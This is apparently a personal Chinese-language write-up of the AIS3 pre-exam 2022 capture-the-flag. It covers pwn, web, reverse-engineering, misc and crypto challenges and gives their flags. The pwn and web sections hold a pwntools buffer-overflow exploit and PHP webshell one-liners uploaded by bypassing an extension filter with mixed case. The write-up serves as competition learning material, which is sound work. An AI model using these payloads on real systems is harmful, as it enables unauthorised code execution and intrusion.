---
# System prepended metadata

title: AIS3 pre-exam 2022 Writeup
tags: [CTF]

---

# AIS3 pre-exam 2022 Writeup
###### tags: `CTF`
------
- Welcome
    - ![](https://i.imgur.com/z2Zq3ir.png)

### Pwn
- SAAS - Crash
    - ![](https://i.imgur.com/8cF9DTC.png)
        隨便按按就出來了，我真的不懂為什麼
        
- BOF2WIN
    - 題目都說BOF了
        - 找出get_the_flag()的位置
            - 用objdump
            ![](https://i.imgur.com/Ah67qJX.png)
 
        ```python=
        from pwn import *

        host = "10.113.203.111"
        port = 12347
        evil = 0x401216

        r = remote(host, port)
        r.sendafter("What's your name?", b'A'*0x18 + p64(evil))
        r.interactive()
        ```
    - ![](https://i.imgur.com/wekvj6J.png)

### Web
- Simple File Uploader
    - 題目看起來很明顯要我們上傳webshell
    - 從Source code看到沒擋大小寫、可以用反撇號
    - upload.pHP
        ```php=
        <?php echo `ls /` ?>
        ```
        - ![](https://i.imgur.com/SAwzZ1B.png)
    - upload.pHP
        ```php=
        <?php echo `/rUn_M3_t0_9et_fL4g` ?>
        ```
        - ![](https://i.imgur.com/ZWJXBGv.png)

- Poking Bear
    - 進去後看到東西就先點一點
        發現每個熊熊的url有個規律
        http://chals1.ais3.org:8987/bear/5
        最後的數字是5、29、82...呈現遞增趨勢
        SECRET BEAR介於350 ~ 777之間
    - 寫個爬蟲
        ```python=
        from webbrowser import Chrome
        from selenium import webdriver
        from webdriver_manager.chrome import ChromeDriverManager
        from selenium.webdriver.chrome.service import Service
        from selenium.webdriver.common.by import By
        from selenium.webdriver.common.keys import Keys

        driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
        url = "http://chals1.ais3.org:8987/bear/"

        for i in range(427):
            cnt = str(350 + i)
            tmp = url + cnt
            driver.get(tmp)
            content = driver.find_element(By.CLASS_NAME, 'text-center').text
            print(cnt)
            print(content)
        ```
        - ![](https://i.imgur.com/5yk18cm.png)
    - 成功進入SECRET BEAR後，開戳
        - ![](https://i.imgur.com/KpWZPwF.png)
    - 改個cookie
        - ![](https://i.imgur.com/y1XyZI2.png)
    - ![](https://i.imgur.com/dw39qRI.png)

### Reverse
- Time Management
    - 打開ida看看
    - ![](https://i.imgur.com/EvSI7Fb.png)
        看起來就是對v4做一頓操作，共48次，那就來看看v4到底印了什麼
        不過要看v4要先想辦法越過sleep，sleep的時間有點久
        - 把sleep的位置先找出來
        - ![](https://i.imgur.com/CGs4bLQ.png)
            sleep下面還會執行printf，會把v4印出來
    - 接下來開gdb
        - 用vmmap找出起始記憶體位置
            - ![](https://i.imgur.com/F5FJMiC.png)
            - ![](https://i.imgur.com/GJW7hTP.png)
        - 設breakpoint在sleep()和lea rdi,format
            - 這樣用run會到sleep停下，用jump可以跳過sleep並且會停在breakpoint 2
            - ![](https://i.imgur.com/90PsbH3.png)
            - ![](https://i.imgur.com/GRtr37v.png)
                可以看到v4被印出來惹，看起來很像FLAG
        - 就一路continue和jump sleep()，最後就可以得到FLAG
    - AIS3{You_are_the_master_of_time_management!!!!!}

- Calculator
    - 題目有給標籤 .NET，所以網路上找了個.NET的反編譯軟體ILSpy
    - 反正就是先把dll全部匯進去打開來看看
        - AIS3.dll打開大概長這樣
            ![](https://i.imgur.com/aymmZjI.png)
            - 我沒理解錯誤的話，ExportMetadat("Symbol", 'A')應該是代表像是加減乘除的那個符號，Operate的參數left和right就是類似被加數和加數的東西(雖然好像不是很重要)
            - 然後看看Operate到底在幹嘛
                - 先給了一個array，然後中間有對right[]做一些判斷，不符合就exception。
                - 最後有個for迴圈的判斷是將right[]裡的某幾個數去做xor某個數，結果不等於array也exception
            - 判斷式裡給的判斷又是A又是{的，看起來就像FLAG，所以試著把right[]按照判斷要求算出來
                - xor的部分網路上找了個計算機算的
                    大概長這樣
                    ![](https://i.imgur.com/jw1xUCJ.png)
                - right[]最後的結果
                    - IS3{aaaaaaaaaaAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
                    - a代表未知數
                    - 實在是太像FLAG了
    - 然後我就把AIS3, AIS33, AIS333, AIS3333所提供的所有資訊列下來
        - ![](https://i.imgur.com/yE3Fwr7.png)
    - 靠想像力拚出了FLAG
        - AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}


### Misc
- Excel
    - 檔案打開來看不出個所以然，想說先用strings跑看看
        跑出來的結果前面有一些亂碼，但後面就有些有用的資訊
        - ![](https://i.imgur.com/HWLQAzr.png)
    - 看起來是有一些工作表，但沒看到，應該是被隱藏起來了
        所以對工作列表右鍵取消隱藏，果然有東西
        - ![](https://i.imgur.com/h223vf4.png)
    - 工作表一開始看是全空的但仔細看會發現格子裡有東西
        所以給他全加個顏色
    - 然後在isFki這張工作表裡有個很長的公式
        ![](https://i.imgur.com/kRKzd3i.png)
        雖然說往下滑可以看到另一個=FORMULA和=RETURN，看起來好像有用，但我不會用，所以我是把公式裡的元素一個一個拉出來，就能得到flag
        - flag我沒存，上個檔被防毒刪掉了QQ，不想重新拉一次惹，好累

- Gift in the dream
    - 題目給gif檔，先拿去給imagemagick看看每一幀
    - ![](https://i.imgur.com/cj2FZUB.png)
    - 看起來像ASCII，拿去轉換看看
    - AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}


### Crypto
- SC
    - cipher.py先打開來看
        - 下面註解寫了Substitution cipher，合理推測是Substitution cipher
        - 加密的東西會寫到{file}.enc裡
            - cipher.py.enc應該就是cipher.py的加密
    - 打開cipher.py.enc，跟cipher.py做對照，比對是怎麼替換的
    - 把flag.txt.enc反推回來得到flag
    - AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
- Fast Cipher
    - cipher.py打開來看
        - 會把flag.txt的東西拿去加密
        - fast function我看不懂有什麼特別之處
        - 用十六進位print出結果
    - 總之先拿flag.txt去加密看看
        發現內容只要超過7個byte(有時會更少)，後面加密結果就會有一定規律
        2 hex = 1 byte，每2個hex可以對印到一個字
        規律找出來，output.txt反推一下會得到一個類似flag的字串
    - XXXXXXXt_every_bits_are_used_lol}
    - flag合理猜測是AIS3{XXt_every_bits_are_used_lol}
    - 三個字的英文單字也沒幾個常用的，猜一下就能猜到flag是AIS3{not_every_bits_are_used_lol}
        